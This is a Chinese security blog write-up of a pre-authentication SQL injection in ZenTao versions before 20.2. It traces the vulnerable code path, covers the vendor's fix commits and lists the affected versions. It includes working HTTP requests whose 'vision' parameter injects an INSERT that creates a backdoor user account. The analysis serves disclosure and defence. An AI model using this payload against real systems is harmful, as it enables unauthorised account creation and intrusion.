浅析禅道前台SQL注入(Version<20.2)

正文

漏洞分析

代码直接从次新版20.1.1

第一次看zentao的系统,第一步肯定还是需要熟悉框架,还好前人栽树后人乘凉,简单看下面这个链接可以过一下

https://blog.csdn.net/hjlyffsina/article/details/112280795

在index.php中,首先创建了应用实例,初始化了一些配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

public static function createApp(string $appName = 'demo', string $appRoot = '', string $className = '', string $mode = 'running')
{
if(empty($className)) $className = self::class;
return new $className($appName, $appRoot, $mode);
}

public function __construct(string $appName = 'demo', string $appRoot = '', string $mode = 'running')
{
if($mode != 'running') $this->{$mode} = true;

$this->setPathFix();
$this->setBasePath();
$this->setFrameRoot();
$this->setCoreLibRoot();
$this->setAppRoot($appName, $appRoot);
$this->setTmpRoot();
$this->setCacheRoot();
$this->setLogRoot();
$this->setConfigRoot();
$this->setModuleRoot();
$this->setWwwRoot();
$this->setThemeRoot();
$this->setDataRoot();
$this->loadMainConfig();

$this->loadClass('front', $static = true);
$this->loadClass('filter', $static = true);
$this->loadClass('form', $static = true);
$this->loadClass('dbh', $static = true);
$this->loadClass('sqlite', $static = true);
$this->loadClass('dao', $static = true);
$this->loadClass('mobile', $static = true);

$this->setCookieSecure();
$this->setDebug();
$this->setErrorHandler();
$this->setTimezone();

if($this->config->framework->autoConnectDB) $this->connectDB();

$this->setupProfiling();
$this->setupXhprof();

$this->setEdition();

$this->setClient();

$this->loadCacheConfig();
}

在其中通过loadMainConfig初始化config参数,加载config/config.php

1
2
3
4
5
6
7
8
9
10
11
12
public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;

/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, true);
include $mainConfigFile;
}

Config.php如下,简单记录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
<?php
/**
* ZenTaoPHP的config文件。如果更改配置,不要直接修改该文件,复制到my.php修改相应的值。
* The config file of zentaophp. Don't modify this file directly, copy the item to my.php and change it.
*
* The author disclaims copyright to this source code. In place of
* a legal notice, here is a blessing:
*
* May you do good and not evil.
* May you find forgiveness for yourself and forgive others.
* May you share freely, never taking more than you give.
*/

/* 保证在命令行环境也能运行。Make sure to run in ztcli env. */
if(!class_exists('config')){class config{}}
if(!function_exists('getWebRoot')){function getWebRoot(){}}

/* 基本设置。Basic settings. */
$config->version = '20.1.1'; // ZenTaoPHP的版本。 The version of ZenTaoPHP. Don't change it.
$config->liteVersion = '1.2'; // 迅捷版版本。 The version of Lite.
$config->charset = 'UTF-8'; // ZenTaoPHP的编码。 The encoding of ZenTaoPHP.
$config->cookieLife = time() + 2592000; // Cookie的生存时间。The cookie life time.
$config->timezone = 'Asia/Shanghai'; // 时区设置。 The time zone setting, for more see http://www.php.net/manual/en/timezones.php.
$config->webRoot = ''; // URL根目录。 The root path of the url.
$config->customSession = false; // 是否开启自定义session的存储路径。Whether custom the session save path.
$config->edition = 'open'; // 设置系统的edition,可选值:open|biz|max。Set edition, optional: open|biz|max.
$config->tabSession = false; // 是否开启浏览器新标签独立session.
$config->clientCache = false; // 是否开启客户端缓存。Whether enable client cache or not.

/* 框架路由相关设置。Routing settings. */
$config->requestType = 'PATH_INFO'; // 请求类型:PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar = 'm'; // 请求类型为GET:模块变量名。 requestType=GET: the module var name.
$config->methodVar = 'f'; // 请求类型为GET:模块变量名。 requestType=GET: the method var name.
$config->viewVar = 't'; // 请求类型为GET:视图变量名。 requestType=GET: the view var name.
$config->sessionVar = 'zentaosid'; // 请求类型为GET:session变量名。 requestType=GET: the session var name.
$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
$config->visions = ',rnd,lite,or,'; // 支持的界面类型。 Supported vision formats.

/* ZIN 设置。 ZIN settings. */
$config->zin = new stdclass();

/* 支持的主题和语言。Supported themes and languages. */
$config->themes['default'] = 'default';
$config->langs['zh-cn'] = '简体';
$config->langs['zh-tw'] = '繁體';
$config->langs['en'] = 'English';
$config->langs['de'] = 'Deutsch';
$config->langs['fr'] = 'Français';
//$config->langs['vi'] = 'Tiếng Việt';
//$config->langs['ja'] = '日本語';

/* 设备类型视图文件前缀。The prefix for view file for different device. */
$config->devicePrefix['mhtml'] = '';
$config->devicePrefix['xhtml'] = 'x.';

/* 默认值设置。Default settings. */
$config->default = new stdclass();
$config->default->view = 'html'; //默认视图。 Default view.
$config->default->lang = 'en'; //默认语言。 Default language.
$config->default->theme = 'default'; //默认主题。 Default theme.
$config->default->module = 'index'; //默认模块。 Default module.
$config->default->method = 'index'; //默认方法。 Default method.

/* 数据库设置。Database settings. */
$config->db = new stdclass();
$config->slaveDB = new stdclass();
$config->db->persistent = false; // 是否为持续连接。 Pconnect or not.
$config->db->driver = 'mysql'; // 目前只支持MySQL数据库。Must be MySQL. Don't support other database server yet.
$config->db->encoding = 'UTF8'; // 数据库编码。 Encoding of database.
$config->db->strictMode = true; // 默认开启MySQL的严格模式。 Turn on the strict mode of MySQL.
$config->db->prefix = 'zt_'; // 数据库表名前缀。 The prefix of the table name.
$config->db->enableSqlite = false; // 是否启用SQLite Enable SQLite or not.
$config->slaveDBList = array(); // 支持多个从库。 Support multiple slave dbs.

$config->metricDB = new stdclass();
$config->metricDB->type = 'mysql'; // 度量计算数据库类型。 The type of metric database.

/* 可用域名后缀列表。Domain postfix lists. */
$config->domainPostfix = "|com|com.cn|com.hk|com.tw|com.vc|edu.cn|es|";
$config->domainPostfix .= "|eu|fm|gov.cn|gs|hk|im|in|info|jp|kr|la|me|";
$config->domainPostfix .= "|mobi|my|name|net|net.cn|org|org.cn|pk|pro|";
$config->domainPostfix .= "|sg|so|tel|tk|to|travel|tv|tw|uk|us|ws|";
$config->domainPostfix .= "|ac.cn|bj.cn|sh.cn|tj.cn|cq.cn|he.cn|sn.cn|";
$config->domainPostfix .= "|sx.cn|nm.cn|ln.cn|jl.cn|hl.cn|js.cn|zj.cn|";
$config->domainPostfix .= "|ah.cn|fj.cn|jx.cn|sd.cn|ha.cn|hb.cn|hn.cn|";
$config->domainPostfix .= "|gd.cn|gx.cn|hi.cn|sc.cn|gz.cn|yn.cn|gs.cn|pub|pw|";
$config->domainPostfix .= "|qh.cn|nx.cn|xj.cn|tw.cn|hk.cn|mo.cn|xz.cn|xyz|wang|";
$config->domainPostfix .= "|ae|asia|biz|cc|cd|cm|cn|co|co.jp|co.kr|co.uk|";
$config->domainPostfix .= "|top|ren|club|space|tm|website|cool|company|city|email|";
$config->domainPostfix .= "|market|software|ninja|bike|today|life|co.il|io|";
$config->domainPostfix .= "|mn|ph|ps|tl|uz|vn|co.nz|cz|gg|gl|gr|je|md|me.uk|org.uk|pl|si|sx|vg|ag|";
$config->domainPostfix .= "|bz|cl|ec|gd|gy|ht|lc|ms|mx|pe|tc|vc|ac|bi|mg|mu|sc|as|com.sb|cx|ki|nf|sh|";
$config->domainPostfix .= "|rocks|social|co.com|bio|reviews|link|sexy|us.com|consulting|moda|desi|";
$config->domainPostfix .= "|menu|info|events|webcam|dating|vacations|flights|cruises|global|ca|guru|";
$config->domainPostfix .= "|futbol|rentals|dance|lawyer|attorney|democrat|republican|actor|condos|immobilien|";
$config->domainPostfix .= "|villas|foundation|expert|works|tools|watch|zone|bargains|agency|best|solar|";
$config->domainPostfix .= "|farm|pics|photo|marketing|holiday|gift|buzz|guitars|trade|construction|";
$config->domainPostfix .= "|international|house|coffee|florist|rich|ceo|camp|education|repair|win|site|";

/* Config for Content-Security-Policy. */
$config->CSPs = array();
$config->CSPs[] = "form-action 'self';connect-src 'self'";

/* Config for kanban col setting */
$config->colWidth = 264;
$config->minColWidth = 264;
$config->maxColWidth = 384;

/* 系统框架配置。Framework settings. */
$config->framework = new stdclass();
$config->framework->autoConnectDB = true; // 是否自动连接数据库。 Whether auto connect database or not.
$config->framework->multiLanguage = true; // 是否启用多语言功能。 Whether enable multi language or not.
$config->framework->multiTheme = true; // 是否启用多风格功能。 Whether enable multi theme or not.
$config->framework->multiSite = false; // 是否启用多站点模式。 Whether enable multi site mode or not.
$config->framework->extensionLevel = 1; // 0=>无扩展,1=>公共扩展,2=>站点扩展 0=>no extension, 1=> common extension, 2=> every site has it's extension.
$config->framework->jsWithPrefix = false; // js::set()输出的时候是否增加前缀。 When us js::set(), add prefix or not.
$config->framework->filterBadKeys = true; // 是否过滤不合要求的键值。 Whether filter bad keys or not.
$config->framework->filterTrojan = true; // 是否过滤木马攻击代码。 Whether strip trojan code or not.
$config->framework->filterXSS = true; // 是否过滤XSS攻击代码。 Whether strip xss code or not.
$config->framework->filterParam = 2; // 1=>默认过滤,2=>开启过滤参数功能。0=>default filter 2=>Whether strip param.
$config->framework->purifier = true; // 是否对数据做purifier处理。 Whether purifier data or not.
$config->framework->logDays = 14; // 日志文件保存的天数。 The days to save log files.
$config->framework->autoRepairTable = true;
$config->framework->autoLang = false;
$config->framework->filterCSRF = true;
$config->framework->setCookieSecure = true;
$config->framework->sendXCTO = true; // Send X-Content-Type-Options header.
$config->framework->sendXXP = true; // Send X-XSS-Protection header.
$config->framework->sendHSTS = true; // Send HTTP Strict Transport Security header.
$config->framework->sendRP = true; // Send Referrer-Policy header.
$config->framework->sendXPCDP = true; // Send X-Permitted-Cross-Domain-Policies header.
$config->framework->sendXDO = true; // Send X-Download-Options header.

$config->framework->detectDevice['zh-cn'] = true; // 在zh-cn语言情况下,是否启用设备检测功能。 Whether enable device detect or not.
$config->framework->detectDevice['zh-tw'] = true; // 在zh-tw语言情况下,是否启用设备检测功能。 Whether enable device detect or not.
$config->framework->detectDevice['en'] = true; // 在en语言情况下,是否启用设备检测功能。 Whether enable device detect or not.
$config->framework->detectDevice['de'] = true; // 在de语言情况下,是否启用设备检测功能。 Whether enable device detect or not.
$config->framework->detectDevice['fr'] = true; // 在fr语言情况下,是否启用设备检测功能。 Whether enable device detect or not.
$config->framework->detectDevice['vi'] = true; // 在vi语言情况下,是否启用设备检测功能。 Whether enable device detect or not.

/* IP white list settings.*/
$config->ipWhiteList = '*';
$config->xFrameOptions = 'SAMEORIGIN';

/* Switch for zentao features. */
$config->features = new stdclass();
$config->features->apiGetModel = false;
$config->features->apiSQL = false;
$config->features->cronSystemCall = false;
$config->features->checkClient = true;

/* 文件上传设置。 Upload settings. */
$config->file = new stdclass();
$config->file->dangers = 'php,php3,php4,phtml,php5,jsp,py,rb,asp,aspx,ashx,asa,cer,cdx,aspl,shtm,shtml,html,htm';
$config->file->allowed = 'txt,doc,docx,dot,wps,wri,pdf,ppt,pptx,xls,xlsx,ett,xlt,xlsm,csv,jpg,jpeg,png,psd,gif,ico,bmp,swf,avi,rmvb,rm,mp3,mp4,3gp,flv,mov,movie,rar,zip,bz,bz2,tar,gz,mpp,rp,pdm,vsdx,vsd,sql';
$config->file->storageType = 'fs'; // fs or s3

/* Upload settings. */
$config->allowedTags = '<p><span><h1><h2><h3><h4><h5><em><u><strong><br><ol><ul><li><img><a><b><font><hr><pre><div><table><td><th><tr><tbody><embed><style><s>';
$config->accountRule = '|^[a-zA-Z0-9_]{1}[a-zA-Z0-9_\.]{1,}[a-zA-Z0-9_]{1}$|';
$config->checkVersion = true; // Auto check for new version or not.

/* Set the wide window size and timeout(ms) and duplicate interval time(s). */
$config->wideSize = 1400;
$config->timeout = 30000;
$config->duplicateTime = 30;
$config->maxCount = 500;
$config->moreLinks = array();

/* 渠成平台设置。CNE Api settings. */
$config->inQuickon = strtolower((string)getenv('IN_QUICKON')) == 'true';
$config->inContainer = strtolower((string)getenv('IS_CONTAINER')) == 'true' || strtolower((string)getenv('IN_CONTAINER')) == 'true';
$config->k8space = 'quickon-system';
$config->demoAccounts = ''; // 用于演示的账号列表,该账号安装的应用30钟后会自动删除。 In account list for demo, app instance of demo will be removed in 30 minutes.
$config->demoAppLife = 30; // Demo安装的应用实例存续时长(分钟)。The minutes life of instance which demo account installed.
$config->CNE = new stdclass();
$config->CNE->api = new stdclass();
$config->CNE->api->host = getenv('CNE_API_HOST');
$config->CNE->api->auth = 'X-Auth-Token';
$config->CNE->api->token = getenv('CNE_API_TOKEN'); // Please set token in my.php.
$config->CNE->api->headers = array('Content-Type: application/json');
$config->CNE->api->channel = 'stable';

$config->CNE->app = new stdclass;
$config->CNE->app->domain = 'dev.haogs.cn';

$config->cloud = new stdclass;
$config->cloud->api = new stdclass;
$config->cloud->api->host = getenv('CLOUD_API_HOST');
$config->cloud->api->auth = 'X-Auth-Token';
$config->cloud->api->token = getenv('CLOUD_API_TOKEN'); // Please set token in my.php.
$config->cloud->api->headers = array('Content-Type: application/json');
$config->cloud->api->channel = getenv('CLOUD_DEFAULT_CHANNEL') ? getenv('CLOUD_DEFAULT_CHANNEL') : 'stable';
$config->cloud->api->switchChannel = false;

/* 配置参数过滤。Filter param settings. */
$filterConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'filter.php';
if(file_exists($filterConfig)) include $filterConfig;

/* 引用数据库的配置。 Include the database config file. */
$dbConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'db.php';
if(file_exists($dbConfig)) include $dbConfig;

/* 引用缓存的配置。 Include the cache config file. */
$cacheConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cache.php';
if(file_exists($cacheConfig)) include $cacheConfig;

/* 读取环境变量的配置。 Read the env config. */
if($config->inContainer || $config->inQuickon)
{
$webRoot = getenv('ZT_WEB_ROOT') ? trim(getenv('ZT_WEB_ROOT'), '/') : '';
$config->installed = strtolower((string)getenv('ZT_INSTALLED')) == 'true';
$config->debug = (int)getenv('ZT_DEBUG');
$config->requestType = getenv('ZT_REQUEST_TYPE');
$config->timezone = getenv('ZT_TIMEZONE');
$config->db->driver = getenv('ZT_DB_DRIVER');
$config->db->host = getenv('ZT_DB_HOST');
$config->db->port = getenv('ZT_DB_PORT');
$config->db->name = getenv('ZT_DB_NAME');
$config->db->user = getenv('ZT_DB_USER');
$config->db->encoding = getenv('ZT_DB_ENCODING');
$config->db->password = getenv('ZT_DB_PASSWORD');
$config->db->prefix = getenv('ZT_DB_PREFIX');
$config->webRoot = $webRoot ? "/{$webRoot}/" : '/';
$config->default->lang = getenv('ZT_DEFAULT_LANG');
}

/* 引用自定义的配置。 Include the custom config file. */
$myConfigRoot = (defined('RUN_MODE') and in_array(RUN_MODE, array('test', 'uitest'))) ? dirname(dirname(__FILE__)) . DIRECTORY_SEPARATOR . 'test' . DIRECTORY_SEPARATOR . 'config' : dirname(__FILE__);
$myConfig = $myConfigRoot . DIRECTORY_SEPARATOR . 'my.php';
if(file_exists($myConfig)) include $myConfig;

/* 禅道配置文件。zentaopms settings. */
$zentaopmsConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'zentaopms.php';
if(file_exists($zentaopmsConfig)) include $zentaopmsConfig;

/* 数据表格操作配置文件。dtable actions settings. */
$actionsMapConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'actionsmap.php';
if(file_exists($actionsMapConfig)) include $actionsMapConfig;

/* API路由配置。API route settings. */
$routesConfig = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'routes.php';
if(file_exists($routesConfig)) include $routesConfig;

/* Include extension config files. */
$extConfigFiles = glob(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'ext/*.php');
if($extConfigFiles) foreach($extConfigFiles as $extConfigFile) include $extConfigFile;

/* Set version. */
if($config->edition != 'open')
{
$config->version = $config->edition . $config->{$config->edition . 'Version'};
if($config->edition != 'max') unset($config->maxVersion);
if($config->edition != 'ipd') unset($config->ipdVersion);
}
else
{
unset($config->bizVersion);
unset($config->maxVersion);
unset($config->ipdVersion);
}

初始化应用之后,我们主要关注下parseRequest的解析过程,这里默认配置下requestTypePATH_INFO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function parseRequest()
{
if(str_starts_with($_SERVER['REQUEST_URI'], '/data/upload') && !is_file($this->wwwRoot . $_SERVER['REQUEST_URI']))
{
helper::setStatus(404);
helper::end();
}

if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, true);
}
}

获取完url后,根据-分割url获取module、method名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function setRouteByPathInfo()
{
if(!empty($this->uri))
{
/*
* 根据$requestFix分割符,分割网址。
* There's the request separator, split the URI by it.
**/
if(str_contains($this->uri, (string) $this->config->requestFix))
{
$items = explode($this->config->requestFix, $this->uri);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}
/*
* 如果网址中没有分隔符,使用默认的方法。
* No request separator, use the default method name.
**/
else
{
$this->setModuleName($this->uri);
$this->setMethodName($this->config->default->method);
}
}
else
{
$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
}
$this->setControlFile();
}

看其实现类setControlFile,如果this->config->edition不为open且不在安装或升级模式下,可以得到注入点为$this->config->vision,但是在之前根据loadMainConfig加载config.php时已经成为固定了,表面上来说是不可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public function setControlFile($exitIfNone = true)
{
/* Set raw module and method name for fetch control. */
if(empty($this->rawModule)) $this->rawModule = $this->moduleName;
if(empty($this->rawMethod)) $this->rawMethod = $this->methodName;

/* If is not a biz version or is in install mode or in in upgrade mode, call parent method. */
if($this->config->edition == 'open' or $this->installing or $this->upgrading) return parent::setControlFile($exitIfNone);

/* Check if the requested module is defined in workflow. */
$flow = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOW . " WHERE `module` = '$this->moduleName'")->fetch();
if(!$flow) return parent::setControlFile($exitIfNone);
if($flow->status != 'normal') helper::end("<html><head><meta charset='utf-8'></head><body>{$this->lang->flowNotRelease}</body></html>");

/**
* 工作流中配置的标签应该请求browse方法,而某些内置流程本身包含browse方法。在这里处理请求的时候会无法区分是内置的browse方法还是工作
* 流标签的browse方法,为了避免此类冲突,在工作流中配置出的标签请求的方法改为browseLabel,在设置控制器文件时需要将其重设为browse。
* Tags configured in the workflow should request the browse method, and some built-in processes themselves contain the browse
* method. When processing a request here, it is impossible to distinguish between the built-in browse method and the browse
* method of the workflow tag. In order to avoid such conflicts, the method of configuring the label request in the workflow
* is changed to browseLabel, which needs to be reset to browse when setting the controller file.
*/
if($flow->buildin && $this->methodName == 'browselabel')
{
$this->rawModule = $this->moduleName;
$this->rawMethod = 'browse';
$this->isFlow = true;

$moduleName = 'flow';
$methodName = 'browse';

$this->setFlowURI($moduleName, $methodName);
}
else
{
$action = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOWACTION . " WHERE `module` = '$this->moduleName' AND `action` = '$this->methodName' AND `vision` = '{$this->config->vision}'")->fetch();
if(zget($action, 'extensionType') == 'override')
{
$this->rawModule = $this->moduleName;
$this->rawMethod = $this->methodName;
$this->isFlow = true;

$this->loadModuleConfig('workflowaction');

$moduleName = 'flow';
$methodName = $this->methodName;
/*
* 工作流中除了内置方法外的方法,如果是批量操作调用batchOperate方法,其它操作调用operate方法来执行。
* In addition to the built-in methods in the workflow, if the batch operation calls the batchOperate method, other operations call the operate method to execute.
*/
if(!in_array($this->methodName, $this->config->workflowaction->default->actions))
{
if($action->type == 'single') $methodName = 'operate';
if($action->type == 'batch') $methodName = 'batchOperate';
}

$this->setFlowURI($moduleName, $methodName);
}
}

/* Call method of parent. */
return parent::setControlFile($exitIfNone);
}

但其实禅道这个系统的配置不仅受本地文件控制,实际上还受数据库中的zt_config库控制

image-20240826221407774

对于以上部分的系统配置覆盖,受index.php中的loadCommon控制,通过$common->setUserConfig();加载远程配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* Run the app. */
$app->setStartTime($startTime);
$common = $app->loadCommon();

public function loadCommon(): object|bool
{
$this->setModuleName('common');
$commonModelFile = $this->setModelFile('common');
if(!file_exists($commonModelFile)) return false;

helper::import($commonModelFile);

if($this->config->framework->extensionLevel == 0 and class_exists('commonModel'))
{
$common = new commonModel();
}
elseif($this->config->framework->extensionLevel > 0 and class_exists('extCommonModel'))
{
$common = new extCommonModel();
}
elseif(class_exists('commonModel'))
{
$common = new commonModel();
}
else
{
return false;
}

$this->loadLang('company');
$common->setUserConfig();

$this->setDebug();

return $common;
}

这里我们简单看看module/common/model.php做了什么,因此可以看到确实从数据库中加载了配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function setUserConfig()
{
$this->sendHeader();
$this->setCompany();
$this->setUser();
$this->setApproval();
$this->loadConfigFromDB();
$this->loadCustomFromDB();
$this->initAuthorize();

if(!$this->checkIP()) return print($this->lang->ipLimited);
}


/**
* 从数据库加载配置信息。
* Load configs from database and save it to config->system and config->personal.
*
* @access public
* @return void
*/
public function loadConfigFromDB()
{
/* Get configs of system and current user. */
$account = isset($this->app->user->account) ? $this->app->user->account : '';
if($this->config->db->name) $config = $this->loadModel('setting')->getSysAndPersonalConfig($account);
$this->config->system = isset($config['system']) ? $config['system'] : array();
$this->config->personal = isset($config[$account]) ? $config[$account] : array();

$this->commonTao->updateDBWebRoot($this->config->system);

/* Override the items defined in config/config.php and config/my.php. */
if(isset($this->config->system->common)) $this->app->mergeConfig($this->config->system->common, 'common');
if(isset($this->config->personal->common)) $this->app->mergeConfig($this->config->personal->common, 'common');

$this->config->disabledFeatures = $this->config->disabledFeatures . ',' . $this->config->closedFeatures;
}

因此如果我们能控制数据库配置信息那么很显然我们便能完成一次SQL注入

恰好在module/my/control.php,可以看到遍历了POST的key/value对数据库config配置做了更改,因此利用不言而喻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function preference(string $showTip = 'true')
{
$this->loadModel('setting');

if($_POST)
{
foreach($_POST as $key => $value) $this->setting->setItem("{$this->app->user->account}.common.$key", $value);

$this->setting->setItem("{$this->app->user->account}.common.preferenceSetted", 1);

return $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'closeModal' => true, 'callback' => '$.apps.updateAppsMenu'));
}

$this->view->title = $this->lang->my->common . $this->lang->hyphen . $this->lang->my->preference;
$this->view->showTip = $showTip;

$this->view->URSRList = $this->loadModel('custom')->getURSRPairs();
$this->view->URSR = $this->setting->getURSR();
$this->view->programLink = isset($this->config->programLink) ? $this->config->programLink : 'program-browse';
$this->view->productLink = isset($this->config->productLink) ? $this->config->productLink : 'product-all';
$this->view->projectLink = isset($this->config->projectLink) ? $this->config->projectLink : 'project-browse';
$this->view->executionLink = isset($this->config->executionLink) ? $this->config->executionLink : 'execution-task';
$this->view->preferenceSetted = isset($this->config->preferenceSetted) ? true : false;

$this->display();
}

因此很容易得出”错误的”第一步

1
2
3
4
5
6
7
8
POST /zentao/my-preference HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Referer: http://127.0.0.1/zentao/index.php
Content-Length: 22

edition=y4hacker&vision=1';insert into zt_user(type,account,password,realname,pinyin) value('inside','y4hacker','c4d038b4bed09fdb1471ef51ec3a32cd','y4hacker','y4hacker');%23

密码是md5或者sha1存储的生成的时候自己搞一个替换即可

image-20240827001334993

此时我们成功修改了数据库配置

image-20240826234855004

但是也成功把环境搞炸了

踩坑1-环境炸了

看到此时正常访问也报错了..,不难看出来是文件不存在

image-20240826234948204

当然经过排查最终发现在index.php->setParams->getDefaultParams报错

image-20240827000059791

image-20240827000126205

image-20240827000152432

知道原因后解决方法便很简单了,通过使用默认存在的目录即可

1
2
3
4
5
6
7
8
POST /zentao/my-preference HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Referer: http://127.0.0.1/zentao/index.php
Content-Length: 22

edition=y4hacker&vision=1';insert into zt_user(type,account,password,realname,pinyin) value('inside','y4hacker','c4d038b4bed09fdb1471ef51ec3a32cd','y4hacker','y4hacker');%23/../../open/rnd

也成功修改了数据库

image-20240827000633373

同时这下环境恢复正常了2333

image-20240827000657535

踩坑2-如何触发SQL执行

刚刚我们其实只是简单梳理了过程,对执行的细节还没有细说,当然也并不难,那就是在\router::setControlFile中,如果请求的module并没有在workflow中定义那就会提前返回

image-20240827001018434

简单看看数据库即可知道存在哪些module

image-20240827001108415

触发注入

1
2
3
4
5
6
7
GET /zentao/product-y4hacker HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Referer: http://127.0.0.1/zentao/index.php
Content-Length: 22

访问后成功触发,数据库也更新成功

image-20240827001237320

尝试前台登录,成功!

image-20240827001420998

修复

https://github.com/easysoft/zentaopms/commit/a07f9909270541c207c2ea22c09e257a511c51f0

可以看到在其中移除了一些openMethods

image-20240827214056652

这个openMethods在哪里校验的相信大家也会好奇,这里我给一个执行路径

第一次校验是在控制器初始化过程

index.php=>$app->setParams()->router.class.php=>$this->getDefaultParams()

在这里会实例化我们的控制器

image-20240827214648827

以我们这次利用过程中的类my为例

image-20240827214801468

首先调用父类的构造函数

image-20240827214829916

在父类的构造函数中,又先调用了父类的父类的构造函数

image-20240827214901452

在这里我们主要关注if的条件是否moduleNameopenModules里,以及moduleNamemethodName又是否在OpenMethod里,很显然在最新版以前my.preferenceOpenMethod中,这点从diff也不难看到

1
if($this->config->installed && !in_array($this->moduleName, $this->config->openModules) && empty($this->app->user) && !$this->loadModel('common')->isOpenMethod($this->moduleName, $this->methodName))

后面又第二次做了commit彻底终结了这个漏洞

https://github.com/easysoft/zentaopms/commit/60bd0dd9caedf5798fbc98af65117d516d13391c

key被设置成了白名单,也意味着这个漏洞的终结

image-20240827215258268

其他

记录一下影响版本禅道项目管理软件开源版:18.0.beta1 <= version <= 18.13.stable,20.0.beta1 <= version < 20.2,17.0.beta1 <= version <= 17.8,16.5受影响。